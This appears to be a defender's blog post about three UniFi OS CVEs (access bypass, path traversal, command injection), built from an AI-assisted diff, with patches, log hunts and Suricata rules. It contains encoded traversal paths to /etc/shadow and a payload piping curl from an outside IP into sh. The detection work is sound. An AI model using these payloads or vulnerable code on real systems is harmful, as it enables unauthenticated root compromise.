Education
Last night I found a disturbance in the cyber force… a premise that said 3x CVEs (which the vendor scored at 10.0) were alleged to not be 3 routes… this made no sense to me, why would a vendor release 3 CVEs with the MAXIMUM Score (see my last blog) which means: someone can remotely execute code/read data (remember if you leak key materials you can then craft a way to log in so you can get execution in more than one way). So I set off on mission to try and fix the problem; someone might have said something wrong on the internet!
JARVIS suit up!
First thing is first, my RE skills are terrible, like this is one area of cyber security that I love that people do, but I find very little joy in it myself. I like Country/City/Town planning, I like hardening, I like building the lego, not making the lego (this is in the making the lego space). Remember different people bring value in different ways, my brain just likes different puzzles, a bit like IRL I don’t like scrabble or crosswords etc. Anyway enough about me, JAVIS let’s go! We are using Claude with Opus 4.8 for this activity.
We are going to download the old and the new software and then we are going to LLM assisted DIFF the systems to find changes.
DIFF Master
After some magic we have the following:
UniFi OS — SAB-064 Detection Walkthrough
Overview — three distinct doors, one appliance
These were publicly chained to unauthenticated root, but they are three separate weaknesses in three different sinks. 34908 and 34909 share one root cause (raw-vs-normalized URI handling) on two different routes; 34910 is independent.
| CVE | Class (CWE) | Route / sink | Primitive | Vuln→Patched |
|---|---|---|---|---|
| 2026-34908 CVSS 10.0 | Improper Access Control (284) | /proxy/<svc>/ — reverse-proxy to backend APIs | Reach an unauthorized API (auth checked on raw URI, routed on normalized) | 200 → 400 |
| 2026-34909 CVSS 10.0 | Path Traversal (22) | /app-assets/<svc>/<path> — static files from disk | Read arbitrary files off the filesystem → account takeover | 200+file → 400 |
| 2026-34910 CVSS 10.0 | Improper Input Validation → Cmd Injection (20/77) | unifi-identity-update ucs update package name | Run arbitrary commands (name → /bin/sh -c) → root via sudo | exec → validated/no-shell |
From zero access to full control
The hard idea to teach: an attacker reaches full control without ever owning a valid account. Two of these bugs abuse a path traversal — a key that makes one door look like another — and the third injects a command. The part people miss: each bug, on its own, is enough to fully compromise the device — which is exactly why the vendor scored all three a maximum 10.0. Below: first the traversal mechanism, then the three independent routes to total control.
The mechanism — one URL, two interpretations
A traversal works because two pieces of code read the same request differently. The guard at the door reads the raw, encoded text; the worker inside reads the decoded path. Encode a ../ as ..%2f and you can show the guard a friendly path while the worker sees a forbidden one.
/app-assets/x/..%2f..%2fetc%2fshadow) so the guard sees “an asset” while the worker reads /etc/shadow. No password is needed to pull the file — and the file frequently contains one.Three independent routes — each one alone is a 10.0
sudo policy (NOPASSWD dpkg/chmod) merely shortens the trip to root.Detection theory — why these are visible in HTTP
34908 / 34909 require percent-encoding. The bypass only works because nginx checks auth/routing on the raw %-encoded URI but resolves the backend on the normalized path. A plain ../ normalizes identically on both layers and does not bypass — so the attacker must send encoded traversal (..%2f, .%2e, %2e%2e, or double-encoded %252e). Those tokens never appear in legitimate /proxy/ or /app-assets/ traffic, making them a low-false-positive signal.
Log the raw bytes. nginx $request / $request_uri record the verbatim encoded line. If you only log the normalized $uri, the ..%2f collapses and you instead see the resolved path (e.g. /etc/passwd). Log both and alert when the service/path they imply diverges — that divergence is the vulnerability, and it is exactly what the 5.0.8 patch added.
34910 is detected by shell metacharacters (; | & ` $( ${ && || and newline) in a package name that is otherwise [a-z0-9.+-]+.
CVE-2026-34908 — Access-control bypass (/proxy/)
CWE-284 Improper Access Controlreporter: Duc Anh Nguyen
Baseline traffic
Authenticated admin = 200. A direct, unauthenticated hit on the protected endpoint is correctly rejected 401.
The attack
- An auth-exempt prefix (
/api/auth/validate-sso/) immediately followed by encoded..%2fthen/proxy/…. - Status flips 401 → 200 from the same client to the same resource within seconds — the single strongest indicator.
- No
Referer, non-browser User-Agent (curl), no preceding session/login events. - On patched 5.0.8 the identical request returns 400.
Root cause — the code mistake
$request_uri (still percent-encoded), but the request is actually routed using the normalized $uri. Encode the traversal and the two disagree — you authenticate as one service and get routed to another.# Service identity for the access/exemption check is taken from the RAW URI ONLY. map $request_uri $target_runnable { # $request_uri = verbatim, still %-encoded default ''; ~^/proxy/([a-z]+)/(.*)$ $1; # $1 captured from the RAW string ~^/app-assets/([a-z]+)/(.*)$ $1; } # auth layer trusts $target_runnable (raw); routing uses the NORMALIZED $uri -> they diverge
# ALSO derive the service from the NORMALIZED URI, then reject any divergence. map $uri $target_runnable_normalized { # $uri = %-decoded + ../ resolved default ''; ~^/proxy/([a-z][-a-z]*)/(.*)$ $1; # also: hyphen fix for uid-agent, talk-relay ~^/app-assets/([a-z][-a-z]*)/(.*)$ $1; } server { if ($target_runnable != $target_runnable_normalized) { return 400; } # raw != normalized = traversal }
CVE-2026-34909 — Path traversal / file read (/app-assets/)
CWE-22 Path Traversalreporter: Abdulaziz Almadhi (Catchify)
Baseline traffic
Normal asset: a real file path, large body (~278 KB), JS content-type, browser Referer.
The attack
/app-assets/+ encoded..%2f+ an obvious target (etc%2fpasswd,etc%2fshadow, SSH keys, token files).- Size/type anomaly: 200 with a ~1 KB
text/plainbody where a real asset is a large.js/.css/image. - This is the distinct sink from 34908 — a filesystem read, not API routing. Same encoding class, different route.
- Patched 5.0.8 → 400.
Root cause — the code mistake
/app-assets/<svc>/<path> handler joins the user-supplied <path> onto an asset directory and reads the result without verifying it stays inside that directory. A traversal in <path> walks out to any file on disk.// serve /app-assets/<svc>/<path> from disk svc, rel := parseAppAssets(r.URL.Path) // rel = "../../../../etc/shadow" full := filepath.Join(assetRoot, svc, rel) // Join cleans ".." -> escapes assetRoot data, _ := os.ReadFile(full) // reads /etc/shadow w.Write(data) // no containment check at all
# PRIMARY FIX (shipped): the same raw-vs-normalized nginx map as 34908 blocks the # encoded traversal before it reaches the /app-assets handler (return 400). // DEFENSE-IN-DEPTH the sink itself should also enforce containment: full := filepath.Join(assetRoot, svc, rel) if !strings.HasPrefix(filepath.Clean(full), assetRoot+"/") { http.Error(w, "forbidden", 403); return } // or, Go 1.20+: if !filepath.IsLocal(rel) { reject } data, _ := os.ReadFile(full)
CVE-2026-34910 — Command injection (ucs update package name)
CWE-20/77reporter: John CarrollRoot cause — the code mistake
fmt.Sprintf("…%v…") straight into a shell command string and handed to /bin/sh -c. Shell metacharacters in the name (; | ` $() are then interpreted by the shell. The fix validates the name and runs the real binary with an argument vector (no shell).uos_pkg.go)// internal/pkg/utils.GetPackageVersion
f = "sudo dpkg -s %v 2>/dev/null | grep ^Version | awk '{print $2}'"
cmd = fmt.Sprintf(f, name) // user-controlled
exec.Command("/bin/sh", "-c", cmd) // shell!
.CombinedOutput()
// internal/pkg/utils.GetPackageVersion if assertValidName() != ok { return err } // validate exec.Command("dpkg-query", // no shell "-W","-f","${Version}", name) // arg vector .CombinedOutput()
The attack — name in URI/query (decoded: package=foo;curl http://203.0.113.66/x|sh)
The attack — name in POST body (payload NOT in default access logs)
When the package name rides in the body, the access log shows only the endpoint. Confirm on the host:
type=EXECVE ... argv[0]="/bin/sh" argv[1]="-c" argv[2]="dpkg -s foo;curl http://203.0.113.66/x|sh" uid=ucs-update Jun 09 14:31:45 udm sudo[20413]: ucs-update : USER=root ; COMMAND=/usr/bin/dpkg -i /tmp/x.deb
- Shell metacharacters (
%3B=;,%7C=|,%60=`,%24%28=$(,%0a=newline) on a/ucs/updatepath. Legit package names are[a-z0-9.+-]+. - Often stacked on the 34908 bypass so it runs unauthenticated.
- Confirmation is host-side: a
/bin/sh -ccontaining a package name with;/|, then asudo … dpkgasucs-update(the privesc to root).
One demonstrated path (the public PoC chain) in logs
Note — this is only one of several possible routes. The PoC stitched all three together, but 34909 alone could instead end at a normal /api/login using a stolen credential, and 34908 or 34910 alone is sufficient too. Correlation rule for the SOC: same src_ip producing a 401→200 transition on a /proxy/ resource and/or any ..%2f on /app-assets/ and/or shell metacharacters on /ucs/update — any one is alarm-worthy; together = active exploitation.
Retro-hunt queries
ripgrep / grep over raw access logs
# Encoded traversal on the two vulnerable route families (34908 + 34909) rg -iN '/(proxy|app-assets)/[^ ]*((\.\.|%2e%2e|\.%2e|%2e\.|%252e)(/|%2f|%5c|%252f))' access.log # 34909 specifically reaching sensitive files rg -iN '/app-assets/.*(%2e%2e|\.\.).*(etc%2f|%2fshadow|%2fpasswd|id_rsa|\.key)' access.log # 34910 - shell metacharacters on the ucs update endpoint rg -iN '/ucs/update[^ ]*(%3b|%7c|%60|%24%28|%0a|;|\||`|\$\()' access.log # The bypass fingerprint: auth-exempt prefix followed by encoded dot-dot into /proxy rg -iN '/api/auth/[^ ]*(\.\.|%2e%2e)(/|%2f).*proxy/' access.log
Splunk
index=unifi sourcetype=nginx:access
| rex field=_raw "\"(?<method>\S+)\s+(?<uri>\S+)\s+HTTP"
| where match(uri,"(?i)/(proxy|app-assets)/")
AND match(uri,"(?i)(\.\.|%2e%2e|\.%2e|%2e\.|%252e)(/|%2f|%5c|%252f)")
| stats count min(_time) as first max(_time) as last values(status) as statuses by src_ip, uri
The “divergence” detection (most robust — mirrors the patch)
# Log BOTH raw and normalized, then alert when the captured service differs: # nginx: log_format hunt '$remote_addr "$request" raw=$request_uri norm=$uri $status'; # rule: svc_raw = capture( $request_uri , ^/(proxy|app-assets)/([a-z-]+)/ ) # svc_norm = capture( $uri , ^/(proxy|app-assets)/([a-z-]+)/ ) # ALERT if svc_raw != svc_norm # encoding-agnostic, ~0 FP
IDS signatures (Suricata 6/7)
alert http any any -> $HOME_NET any (
msg:"CVE-2026-34908 UniFi OS auth bypass - encoded traversal into /proxy";
flow:established,to_server; http.request_line;
content:"/proxy/"; nocase;
pcre:"/(?:\.\.|%2e%2e|\.%2e|%2e\.|%252e)(?:\/|%2f|%5c|%252f)/i";
classtype:web-application-attack; reference:cve,2026-34908; sid:9000801; rev:1;)
alert http any any -> $HOME_NET any (
msg:"CVE-2026-34909 UniFi OS path traversal - encoded traversal into /app-assets (file read)";
flow:established,to_server; http.request_line;
content:"/app-assets/"; nocase;
pcre:"/(?:\.\.|%2e%2e|\.%2e|%2e\.|%252e)(?:\/|%2f|%5c|%252f)/i";
classtype:web-application-attack; reference:cve,2026-34909; sid:9000901; rev:1;)
alert http any any -> $HOME_NET any (
msg:"CVE-2026-34910 UniFi OS command injection - shell metachars in ucs update name";
flow:established,to_server; http.uri; content:"/ucs/update"; nocase;
pcre:"/(?:[;|&`]|\$\(|\$\{|\|\||&&|%3b|%7c|%26|%60|%24%28|%0a|\bdpkg\b|\bsystemctl\b|\$\(IFS)/iU";
classtype:web-application-attack; reference:cve,2026-34910; sid:9001001; rev:1;)
- These are detection / virtual-patch controls — the real fix is upgrading to UniFi OS Server 5.0.8 / unifi-core 5.0.153.
- Add overlong-UTF-8 (
%c0%ae) and triple-encoding variants for exhaustive coverage; the divergence check above sidesteps the encoding arms race. - Request/response bodies are not in default access logs — body-delivered 34910 payloads and 34909 data need body logging or host-side (auditd/sudo) correlation.
https://mr-r3b00t.github.io/eve_hunt/unifi_cve_2026_dfir.html
Summary
This is still WIP, it’s early, I need some tea, this stuff is complex! But how cool, if we validate the above it means we have taken the firmware/software and we have performed a diff, found the 3 CVEs and then created detections and educational content from them! I think that’s pretty cool! If you do run Unifi kit remember you need to patch but also check for compromise if you have had these exposed (why would you expose them in the first place! madness) and just patching if someone has got in, it’s the last step!









